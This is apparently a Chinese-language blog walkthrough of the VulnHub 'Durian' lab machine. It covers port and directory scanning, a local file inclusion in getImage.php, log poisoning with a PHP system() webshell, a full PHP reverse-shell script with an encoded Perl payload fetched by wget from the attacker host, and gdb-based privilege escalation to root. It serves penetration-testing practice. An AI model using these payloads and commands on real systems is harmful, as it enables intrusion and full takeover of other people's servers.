这个靶场还是有些难度的,我之前就试过一次了,卡在一个地方很久后面实在没办法就先放弃了。这两天学习过程中我感觉我好像突然又悟了,所以又把它掏出来,准备今天就拿下它。必拿下!
目录
信息搜集
还是老样子三板斧
扫描网段
目的找到网站的真实IP地址,如果是在真实环境中这一步应该是绕过CDN,或者是搜集一些子域名、旁站c段等一些信息
扫描端口以及开启的各种服务
基本上就扫出来这几个端口和服务,然后8088这个端口的服务是radan—http,我之前没见过就去搜了一下:端口本身(8088)最初注册到Radan以获取特定于供应商的HTTP流量.此后,它已被公众选择用于代理(以及8000,8080,8888).emm 应该也没有什么特殊含义,暂且把它看作一个http服务得了
扫描网站目录
使用dirsearch工具扫描
至于这里为什么要特别表明工具呢,那是因为我一会儿还要用另一个工具,那为什么要用两个工具呢?因为一个工具扫不出来,所以我们在实际做渗透测试的时候,要多去尝试,有的时候你用这个工具扫不出来也不是说就没有,很有可能是这个工具扫不出来。因为每一个工具都有它自己的局限性,所以多尝试准没错。
由于8000端口和8088端口都有http所以我们挨个去扫一遍
查看一下
文件内容(我也是真的没看懂这一大堆代码到达是干嘛的,就看见一个wordpress可能是有用的信息可以先记录下来)
扫8088端口
这里有一些目录虽然扫出来了,但是打不开我就不一一贴出来了,只贴一些显示出来的信息
这个中间件我查了一下确实是存在漏洞的,但是是权限提升的(我都没拿到权限,能提啥啊 ,提空气啊~~~~)
访问这个目录http://192.168.179.144:8088/upload.html
这个我猜测应该是一个查询文件的接口而不是一个简单的上传文件的接口而且好像是只能查询图片格式的。
使用dirb工具扫描网站目录
发现漏洞
找到文件包含漏洞
访问这个网址下的目录,但是访问不到
403:403错误是一种在网站访问过程中,常见的错误提示,表示资源不可用。服务器理解客户的请求,但拒绝处理它,通常由于服务器上文件或目录的权限设置导致的WEB访问错误。
所以我们推测是该网站下是有这个目录的,但是403应该是我们没有访问的权限,这个时候就尝试换个端口去访问
啊 这 ,冥思苦想一阵,后来就尝试把端口去掉,让它自己跳默认端口
后续尝试了一下不加端口就单纯的扫IP地址也是可以扫出来这个目录的,那这就说明了另一个问题那就是虽然80端口我们在扫描端口的时候没有扫出来,但是实际上它是开启的状态要不我们也不能扫IP地址对吧(一般情况下扫描工具的直接扫IP 地址的时候都是默认扫描80端口的)
bingo
然后我们点击这个目录进去查看一下看是否有我们需要的一些信息
虽然不算一个空白页面但是也差不多了(就这俩符号),右键查看源代码
看看我们发现了什么,这不是传说中的文件包含么
测试漏洞是否能利用
http://192.168.179.144/cgi-data/getImage.php?file=/etc/passwd
证明这个点确实存在文件包含漏洞,并且是可以利用的。而且这里也隐含了一个信息,那就是搭建平台的系统一定是linux的,后续尝试去包含远程文件但是并没有成功,那我们还是在本地包含上下功夫吧。
接下来我们的思路就是想办法写入后门,然后利用文件包含漏洞去执行,这里的思路是去找日志文件,利用日志文件可以记录我们每次登录的一些登录信息,写入后门代码。然后利用文件包含漏洞去包含日志文件最终可以执行php代码
尝试写入后门代码
emmm这个日志文件的路径是我偷来的。。。。。。(对不起),我推测是通过文件包含来遍历目录,然后发现了日志文件的位置。后续又尝试了一下发现除非直接找到log文件的位置,否则页面是不回显的,所以应该不是遍历目录,另一种可能性是暴力破解,好像也只能暴力破解了(但是总感觉有点牵强)
/var/log/durain.log/access.log
#####
文件路径
利用http头中UA字段注入后门代码
<?php system($_GET['cmd']); ?>
成功执行。后续也尝试过直接用蚁剑连接后门代码,应该是后门代码没有执行。这就衍生我的另一个疑问,我在看大佬写的wp的时候就在想,为什么是写入代码和访问一起执行呢?为什么不能先写入代码再执行呢?然后我就尝试了一下
这边是空的,emmm 暂时没想明白是为什么,推测是文件目录做了限制不能执行php代码,然后写入的同时去访问会触发一个系统的机制,就好像咱们平时打开一个文件的时候不能删除一样所以执行了(当然这只是我的推测,并不能证明。)
getshell
通过后门代码执行系统命令下载反弹代码文件
这样既然不能直接连接,那我们就通过命令执行去远程下载一个反弹代码文件文件,然后在下载的同时执行这个文件,从而达到反弹shell的作用
首先是在kali上写一个反弹shell的文件命名为shell.php
这个反弹代码是我常用的,挺好用的,如果有更合适的也不是非得用这个,可以反弹shell即可
用的时候需要将IP地址和端口改成kali的IP地址和监听的端口
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.179.145";
$yourport = '1234';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
然后在kali上起一个http服务,以便我们可以下载shell文件
python3 -m http.server 80
最后就是利用文件包含漏洞下载这个shell.php文件到指定文件夹
GET /cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=wget+192.168.179.145/shell.php+-O+../blog/shell.php HTTP/1.1
#####
后面UA字段别忘了后面代码
<?php system($_GET['cmd']); ?>
###
整个http头只需要改这两个字段 一个是cmd后面的下载地址以及下载到网站的../blog/shell
另一个就是UA字段别忘了后门代码
看到这个就说明已经成功将文件下载到目标站点上了,接下来就是利用文件包含漏洞去访问shell.php文件以便执行代码
还是使用buirpsuit在访问文件(bp真的太好用了,吹爆)
GET /cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=php+../blog/shell.php
######
小技巧:抓完第一个包之后放到重放模块,一直就用这一个就可以了 ,根据命令的不同去修改cmd后面的内容即可
利用文件包含执行shell.php
首先是在kali上监听端口,这个就是根据你反弹shell的shell.php中写入的哪个端口就监听哪个端口
利用文件包含访问shell.php文件所在位置以执行php代码
get
太不容易了,我终于是拿到shell了 ,这一看就是个普通用户,首先去家目录下查看是否有flag
为了看的更方便一点还是先利用python搞一个交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
没找到flag,接下来就是顺理成章的提权部分了
提权
寻找可执行的高权限命令
还是先试试sudo -l 这次还是挺好sudo 居然还能用
getcap -r / 2>/dev/null
#######
getcap:查看可执行文件获取的内核权限
r :代表顶层目录
2>/dev/null的意思就是将标准错误stderr删掉
#####
分开看好像都能看懂,放在一起就离谱 完全看不懂
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
#######
gdb:简单理解就是可以启动程序并且按照自己的自定义随心所欲的运行程序
-nx:不要从任何.gdbinit初始化文件执行命令
-ex:执行给定的GDB命令
简单理解就是首先利用gdb的权限去执行命令:命令的作用是利用python 设置一个uid为0(那就是root嘛)的shell
终于是拿到root权限了,后续就是找到flag啦
总结
这个靶场我真的搞了好久,从一开始的做不出来,到气的删掉这个靶场,再到实在气不过又把这个靶场重新下载,来来回回光这个安装包就下了两三次,但好在最终的结果也还算可以接受
复盘
第一个拦路虎就是那个8088端口和8000端口, 一开始我看扫描工具没有扫出80端口,就天真的以为80端口没开,然后花费了好长时间才找到,其次就是那个/cgi-data这个目录真的折磨了我巨久,有的时候能访问到这个目录有的时候又访问不到,就巨烦(其实现在来看都是因为自己操作不当产生的这个问题),后面往里面写后面代码的时候就还好,稍微理解一下,多操作几遍终究会成功的,后续提权就还好操作没问题就是不太理解代码。
参考文章
https://www.hacknos.com/durian-vulnhub-walkthrough/
https://procoder.in/durian-vulnhub/
最后
点个赞吧 求求了